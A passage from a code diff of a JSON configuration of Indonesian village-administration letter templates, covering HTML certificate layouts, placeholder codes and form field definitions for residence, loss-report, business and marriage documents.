        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Masukkan Keterangan", + "tipe": "text", + "kode": "[form_penanggung_jawab]", + "nama": "Penanggung Jawab", + "deskripsi": "Penanggung Jawab", "required": "1", "atribut": null, "pilihan": null, @@ -6425,71 +6194,12 @@ "kolom": "", "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Penduduk", - "url_surat": "surat-keterangan-penduduk", - "kode_surat": "S-03", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.

        <\/td>\r\n
        Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nMohon keterangan yang akan dipegunakan untuk [Form_keperluan].<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar-benar penduduk [SeButan_desa] kami dan ada istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nMengetahui,<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        [qr_code]<\/td>\r\n


        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        ..............................................<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "tipe": "text", + "kode": "[form_nama_sponsor]", + "nama": "Nama Sponsor", + "deskripsi": "Nama Sponsor", "required": "1", "atribut": null, "pilihan": null, @@ -6497,84 +6207,31 @@ "kolom": "", "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Pengantar", - "url_surat": "surat-keterangan-pengantar", - "kode_surat": "S-01", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.

        <\/td>\r\n
        Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nMohon keterangan yang akan dipegunakan untuk [Form_keperluan].<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nGolongan Darah<\/td>\r\n:<\/td>\r\n[GOl_darah]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "tipe": "select-manual", + "kode": "[form_tipe_sponsor]", + "nama": "Tipe Sponsor", + "deskripsi": "Pilih Tipe Sponsor", "required": "1", "atribut": null, - "pilihan": null, + "pilihan": [ + "ORGANISASI INTERNASIONAL", + "PERORANGAN", + "PEMERINTAH", + "TANPA SPONSOR", + "PERUSAHAAN" + ], "refrensi": null, "kolom": "", "label": "", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Masukkan Keterangan", + "tipe": "text", + "kode": "[form_alamat_sponsor]", + "nama": "Alamat Sponsor", + "deskripsi": "Alamat Sponsor", "required": "1", "atribut": null, "pilihan": null, @@ -6582,169 +6239,51 @@ "kolom": "", "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Pengantar Laporan Kehilangan", - "url_surat": "surat-pengantar-laporan-kehilangan", - "kode_surat": "S-13", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

        Orang tersebut telah datang kepada kami untuk melapor dan mengaku telah kehilangan [Form_nama_barang] sebagai berikut:<\/p>\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nRincian<\/td>\r\n:<\/td>\r\n[Form_rincian]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { "tipe": "text", - "kode": "[form_nama_barang]", - "nama": "Nama Barang", - "deskripsi": "Masukkan Nama Barang Yang Hilang", + "kode": "[form_nomor_itas]", + "nama": "Nomor ITAS", + "deskripsi": "Nomor ITAS & ITAP", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Nomor dan Tanggal ITAS & ITAP", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_rincian]", - "nama": "Rincian", - "deskripsi": "Masukkan Rincian", + "tipe": "date", + "kode": "[form_tanggal_itas]", + "nama": "Tanggal ITAS", + "deskripsi": "Tanggal ITAS & ITAP", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "3", + "label": "Nomor dan Tanggal ITAS & ITAP", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Masukkan Keterangan", + "tipe": "date", + "kode": "[form_tanggal_pindah]", + "nama": "Tanggal Pindah", + "deskripsi": "Tanggal Pindah", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", + "kolom": "3", "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Usaha", - "url_surat": "surat-keterangan-usaha", - "kode_surat": "500", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] sampai dengan [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas, yang memiliki usaha [Form_nama_usaha].

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { "tipe": "text", - "kode": "[form_nama_usaha]", - "nama": "Nama Usaha", - "deskripsi": "Masukkan Nama \/ Jenis usaha", + "kode": "[form_keterangan]", + "nama": "Keterangan", + "deskripsi": "Keterangan", "required": "1", "atribut": null, "pilihan": null, @@ -6754,10 +6293,10 @@ "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "tipe": "text", + "kode": "[form_jumlah_pengikut]", + "nama": "Jumlah Pengikut", + "deskripsi": "Jumlah Pengikut", "required": "1", "atribut": null, "pilihan": null, @@ -6783,7 +6322,7 @@ "lampiran": "N-1,N-2,N-4,N-5,N-6,SPS,SWN", "kunci": false, "favorit": false, - "jenis": "4", + "jenis": "3", "mandiri": false, "masa_berlaku": 0, "satuan_masa_berlaku": "M", @@ -6804,17 +6343,17 @@ "1" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], "data_orang_tua": "1", "data_pasangan": "0", @@ -6840,6 +6379,29 @@ "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Ayah Pasangan Pria", + "label": "A.2 DATA AYAH PASANGAN PRIA", + "hubungan": "" + }, + "dipp": { + "sumber": "1", + "data": [ + "3" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -6848,20 +6410,32 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Ayah Pasangan Pria", - "label": "A.2 DATA AYAH PASANGAN PRIA", + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Ibu Pasangan Pria", + "label": "A.3 DATA IBU PASANGAN PRIA", "hubungan": "" }, - "dipp": { + "dcpw": { "sumber": "1", "data": [ + "1", "3" ], - "sex": "", + "sex": "2", "status_dasar": [ "1", "2", @@ -6874,6 +6448,29 @@ "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Pasangan Wanita", + "label": "B1. DATA CALON PASANGAN WANITA", + "hubungan": "" + }, + "dapw": { + "sumber": "1", + "data": [ + "3" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -6882,21 +6479,31 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Ibu Pasangan Pria", - "label": "A.3 DATA IBU PASANGAN PRIA", + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Ayah Pasangan Wanita", + "label": "B.2 DATA AYAH PASANGAN WANITA", "hubungan": "" }, - "dcpw": { + "dibpw": { "sumber": "1", "data": [ - "1", "3" ], - "sex": "2", + "sex": "", "status_dasar": [ "1", "2", @@ -6909,6 +6516,29 @@ "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Ibu Pasangan Wanita", + "label": "B.3 DATA IBU PASANGAN WANITA", + "hubungan": "" + }, + "dst": { + "sumber": "1", + "data": [ + "3" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -6917,15 +6547,26 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Pasangan Wanita", - "label": "B1. DATA CALON PASANGAN WANITA", + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Suami Terdahulu", + "label": "B.4 DATA SUAMI TERDAHULU ", "hubungan": "" }, - "dapw": { + "dwn": { "sumber": "1", "data": [ "3" @@ -6943,6 +6584,29 @@ "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Wali Nikah", + "label": "B.5 DATA WALI NIKAH ", + "hubungan": "" + }, + "dpn": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -6951,86 +6615,330 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Ayah Pasangan Wanita", - "label": "B.2 DATA AYAH PASANGAN WANITA", + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Pernikahan", + "label": "C. DATA PERNIKAHAN ", "hubungan": "" + } + }, + "kode_isian": [ + { + "tipe": "text", + "kode": "[form_bin_pria]", + "nama": "Bin Pria", + "deskripsi": "Bin Pasangan Pria", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Bin Pasangan Pria", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_status_kawin_pria]", + "nama": "Status Kawin Pria", + "deskripsi": "Pilih Status Kawin", + "required": "1", + "atribut": null, + "pilihan": [ + "Jejaka", + "Duda", + "Beristri" + ], + "refrensi": null, + "kolom": "5", + "label": "Status Kawin Pria", + "kaitkan_kode": "[{\"nilai_isian\":[\"Beristri\"],\"kode_isian_terkait\":[\"IstriKe\"]}]" + }, + { + "tipe": "number", + "kode": "[form_istrike]", + "nama": "IstriKe", + "deskripsi": "Istri Keberapa", + "required": "0", + "atribut": 